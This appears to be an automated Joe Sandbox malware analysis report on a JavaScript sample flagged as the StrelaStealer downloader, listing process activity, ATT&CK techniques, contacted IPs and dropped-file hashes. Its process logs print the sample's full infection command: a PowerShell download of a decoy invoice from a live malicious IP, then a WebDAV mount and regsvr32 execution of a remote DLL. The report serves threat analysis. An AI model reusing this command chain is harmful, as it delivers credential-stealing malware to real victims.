Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
17763111531162825565.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
17763111531162825565.js	8%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/sm	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2960857842.000001C72A800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1738203927.000001C72AAC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1739960593.000001ED3373C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sm	net.exe, 00000006.00000002.1739816457.000001ED33708000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1738203927.000001C72AAC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588905
Start date and time:	2025-01-11 06:58:28 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	17763111531162825565.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 3.233.129.217, 3.219.243.226, 52.6.155.20, 52.22.41.97, 2.16.168.107, 2.16.168.105, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 23.200.0.33, 23.200.0.21, 20.109.210.53, 23.47.168.24, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:59:21	API Interceptor	23x Sleep call for process: powershell.exe modified
00:59:25	API Interceptor	1x Sleep call for process: net.exe modified
00:59:25	API Interceptor	2x Sleep call for process: svchost.exe modified
00:59:38	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	173992455338126060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25134116771465314533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	173992455338126060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25134116771465314533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073344760937473
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvru:KooCEYhgYEL0In
MD5:	32F2A014BEBC2A66428E258E13F92E54
SHA1:	800A0D81B25A83B59F5754D15422A03FEDC0686E
SHA-256:	62B017519B56B5DEBA84836AB197A3215871AAEB6E611A36BEBB8025F34DCD48
SHA-512:	8A2DC3683C2C27097A39AA37E2181FD39BC3A4D48F38C3D25147B4C2F5753AF72BB8BA4502BAEE7939100FE63E8B94015BAF29EDBE7CF1E87D85C9B1A74B0E2F
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf764eb37, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42209537240343914
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:5aza/vMUM2Uvz7DO
MD5:	3190053307885E0525166B877E487F4D
SHA1:	B349124C6958C80345D5FF849C42F53C60649CC2
SHA-256:	07A8680FCA396B21AC2AEBB9DFD62DB692DAEDF03333E21AD4AC8BD33DBF65D0
SHA-512:	640D74A01162234628187A4413B7C5BB064AA19AD1A834B8FE18DF89737BC722C3ACE558A7DB6C0BE6C18F2DB69E2CBAF5EE3B00A6E2CDD2CE4FD43252D98D1C
Malicious:	false
Preview:	.d.7... .......A.......X\...;...{......................0.!..........{A..;...}1.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{....................................2..;...}Q..................w...;...}1..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0755445874413591
Encrypted:	false
SSDEEP:	3:0SAmUYeINkluvCjn13a/1YV/l/AllcVO/lnlZMxZNQl:0SAdzhlua53qUAOewk
MD5:	8BC44E46AB202EE1CF7CD7F3A758E7A0
SHA1:	BC759193F596B996025E11623DFFEC976AD2728E
SHA-256:	20F4A94943D4C1F52FBEFE81105C559E93889019D656E67B1EA90069FA2D8AA8
SHA-512:	92EEA9D75FAB1B6EBE6A40BECB51468314C09627F99B16194089C08261F20EE0E31C7BFC23FAABF0836C38FE5A1CD5DC102CE3FC1A3FFA5600E18526869944D5
Malicious:	false
Preview:	%4w......................................;...{...;...}1......{A..............{A......{A..........{A].................w...;...}1.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.100417883030176
Encrypted:	false
SSDEEP:	6:iOwu+q2Pwkn2nKuAl9OmbnIFUt+UAWZmw8U3VkwOwkn2nKuAl9OmbjLJ:7wu+vYfHAahFUt+w/8gV5JfHAaSJ
MD5:	D439CE548B2385775B2ACCB239246566
SHA1:	76F32948A8982E83F2A994152B87C1B6E24C9C96
SHA-256:	D81E268A17E23D1232259E6233494F372E9AEC93847C8C231B0D4B7BEBD64BD6
SHA-512:	11086A2F9EF3554C6E089AD564E69FE35C6C0E400D75DDEC953E946D376F3475AB6981BFDB4797B455D075B3BADB13A93DDF56E8A50C391244BF30439D36B371
Malicious:	false
Preview:	2025/01/11-00:59:25.515 110c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:59:25.517 110c Recovering log #3.2025/01/11-00:59:25.517 110c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.100417883030176
Encrypted:	false
SSDEEP:	6:iOwu+q2Pwkn2nKuAl9OmbnIFUt+UAWZmw8U3VkwOwkn2nKuAl9OmbjLJ:7wu+vYfHAahFUt+w/8gV5JfHAaSJ
MD5:	D439CE548B2385775B2ACCB239246566
SHA1:	76F32948A8982E83F2A994152B87C1B6E24C9C96
SHA-256:	D81E268A17E23D1232259E6233494F372E9AEC93847C8C231B0D4B7BEBD64BD6
SHA-512:	11086A2F9EF3554C6E089AD564E69FE35C6C0E400D75DDEC953E946D376F3475AB6981BFDB4797B455D075B3BADB13A93DDF56E8A50C391244BF30439D36B371
Malicious:	false
Preview:	2025/01/11-00:59:25.515 110c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:59:25.517 110c Recovering log #3.2025/01/11-00:59:25.517 110c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.12742431082755
Encrypted:	false
SSDEEP:	6:iOw+GIq2Pwkn2nKuAl9Ombzo2jMGIFUt+PhZmw84kwOwkn2nKuAl9Ombzo2jMmLJ:7w+vvYfHAa8uFUt+p/845JfHAa8RJ
MD5:	1F197C4D02221110862B86C13E9C7772
SHA1:	C868FBDEAB58F18DB22987B629CF1CEB873212F0
SHA-256:	5194CAF590CB6D0C39E338C2010A6873F9687B323A2A5E85AA19ABBF8760609F
SHA-512:	9A49CE44A591F41AC42E8D53F2C63DD1BAF8BA82F5A5146C93A51377380D8633E434BB2720C98A90AE7399235926ED5AB533687BB254857A95A09D076C3537EF
Malicious:	false
Preview:	2025/01/11-00:59:25.592 1cc0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:59:25.613 1cc0 Recovering log #3.2025/01/11-00:59:25.614 1cc0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.12742431082755
Encrypted:	false
SSDEEP:	6:iOw+GIq2Pwkn2nKuAl9Ombzo2jMGIFUt+PhZmw84kwOwkn2nKuAl9Ombzo2jMmLJ:7w+vvYfHAa8uFUt+p/845JfHAa8RJ
MD5:	1F197C4D02221110862B86C13E9C7772
SHA1:	C868FBDEAB58F18DB22987B629CF1CEB873212F0
SHA-256:	5194CAF590CB6D0C39E338C2010A6873F9687B323A2A5E85AA19ABBF8760609F
SHA-512:	9A49CE44A591F41AC42E8D53F2C63DD1BAF8BA82F5A5146C93A51377380D8633E434BB2720C98A90AE7399235926ED5AB533687BB254857A95A09D076C3537EF
Malicious:	false
Preview:	2025/01/11-00:59:25.592 1cc0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:59:25.613 1cc0 Recovering log #3.2025/01/11-00:59:25.614 1cc0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\084851f8-2db7-4288-bce9-7e3744cf1d75.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.955329463162928
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqhuHVSsBdOg2Hvfcaq3QYiubInP7E4T3y:Y2sRdskoXdMHvu3QYhbG7nby
MD5:	B3D96FE5D609D5AE3DB782BAB5A8C81F
SHA1:	9948F1D7B4B65425043D168857415271C10A1E3F
SHA-256:	58D8F57CDFF6E4A741EA49DEC26B0C42224FF344F866D808B044FC68456FC56E
SHA-512:	A174092A09C9BD24AEF9D0085E6796FA8CF779CB51F72390CF49C16FDCCA1C85C6F4EF6BF86671F3149DFF7406D6489E42292C129A34703B7ED82D76AB09192F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381135178082419","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138393},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.955329463162928
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqhuHVSsBdOg2Hvfcaq3QYiubInP7E4T3y:Y2sRdskoXdMHvu3QYhbG7nby
MD5:	B3D96FE5D609D5AE3DB782BAB5A8C81F
SHA1:	9948F1D7B4B65425043D168857415271C10A1E3F
SHA-256:	58D8F57CDFF6E4A741EA49DEC26B0C42224FF344F866D808B044FC68456FC56E
SHA-512:	A174092A09C9BD24AEF9D0085E6796FA8CF779CB51F72390CF49C16FDCCA1C85C6F4EF6BF86671F3149DFF7406D6489E42292C129A34703B7ED82D76AB09192F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381135178082419","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138393},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.258671131863878
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7yyWv:etJCV4FiN/jTN/2r8Mta02fEhgO73goE
MD5:	0BF56725DF7F8C74A6138C03DFD92B7D
SHA1:	14807DB4F56B39DD9300DDC9B9E40A1F514271F5
SHA-256:	2AF11834992EF5B8402B3C123CFB9D14F232FBA6B02C49E71F9C29DE7CE6E68A
SHA-512:	04C9E5A5B9F3765F51899D4F203868B8BBD9EBE191E0D2D216CF9A8FE05DD8421BC7CFC22AAD3C71C59FF86FFBEDAD4953A5858AB8D4EBD74FDF928C8DE65ABB
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.159055545459368
Encrypted:	false
SSDEEP:	6:iOw6pIq2Pwkn2nKuAl9OmbzNMxIFUt+1Zmw8UkwOwkn2nKuAl9OmbzNMFLJ:7w66vYfHAa8jFUt+1/8U5JfHAa84J
MD5:	5A1E7E4692C056751BAE317E1B3B5248
SHA1:	2934DDD5E410408820E03A5E6737A9A7FA4BCCAC
SHA-256:	309EADEA29D95A112F29F10EAFE1D73A67FC35925088A86D7DBC32767B49646A
SHA-512:	08C5597126649EF7585806695129BAAC7621717559F716266C5FD9F58A1CB5B97126C3E1636364808C525337A5C09B0C9B962A144D25C30303C0D7557561046C
Malicious:	false
Preview:	2025/01/11-00:59:25.760 1cc0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:59:25.763 1cc0 Recovering log #3.2025/01/11-00:59:25.764 1cc0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.159055545459368
Encrypted:	false
SSDEEP:	6:iOw6pIq2Pwkn2nKuAl9OmbzNMxIFUt+1Zmw8UkwOwkn2nKuAl9OmbzNMFLJ:7w66vYfHAa8jFUt+1/8U5JfHAa84J
MD5:	5A1E7E4692C056751BAE317E1B3B5248
SHA1:	2934DDD5E410408820E03A5E6737A9A7FA4BCCAC
SHA-256:	309EADEA29D95A112F29F10EAFE1D73A67FC35925088A86D7DBC32767B49646A
SHA-512:	08C5597126649EF7585806695129BAAC7621717559F716266C5FD9F58A1CB5B97126C3E1636364808C525337A5C09B0C9B962A144D25C30303C0D7557561046C
Malicious:	false
Preview:	2025/01/11-00:59:25.760 1cc0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:59:25.763 1cc0 Recovering log #3.2025/01/11-00:59:25.764 1cc0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444733899782494
Encrypted:	false
SSDEEP:	384:CeEci5tuiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:kBs3OazzU89UTTgUL
MD5:	100E342FC900C25079C3258483F334DD
SHA1:	54E835F576DF0AEA4F819055B887B8EF0D095A1A
SHA-256:	7F4D9673C7407F2AF6A697E8E899B0340CD61EED1B0BBCEBA475AE653BC795BD
SHA-512:	84E2B4D09C4021CC925537CB5F8C4C679AED5D7C995FD1F3AF1B0BCBC5E1F5A3D52C2C4BF424E2E7CC3991F374502663123B353653C023C4FEF4955D19F2C0B6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2133246277282708
Encrypted:	false
SSDEEP:	24:7+tTmnuwK5+qL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Z:7MCnC5+q/mFTIF3XmHjBoGGR+jMz+Lhf
MD5:	1A200D51A05DCF35CB876BD7602B2FFB
SHA1:	7017506D77BF24AF6A944335DFC96BEF5B33541A
SHA-256:	D7F3BFAE49F5B6569AEE75B42EABE2C83A0E1012F23D77B051D86B6CEEA1FD77
SHA-512:	812CA3F2E7C4214F5433D1B75DAD012984DE39D240714FC64DF44A24D9572E523569674B574B2A7C9B7A9F47228FE2F750503931C21D8CCD8CBD267BFA81AE1B
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
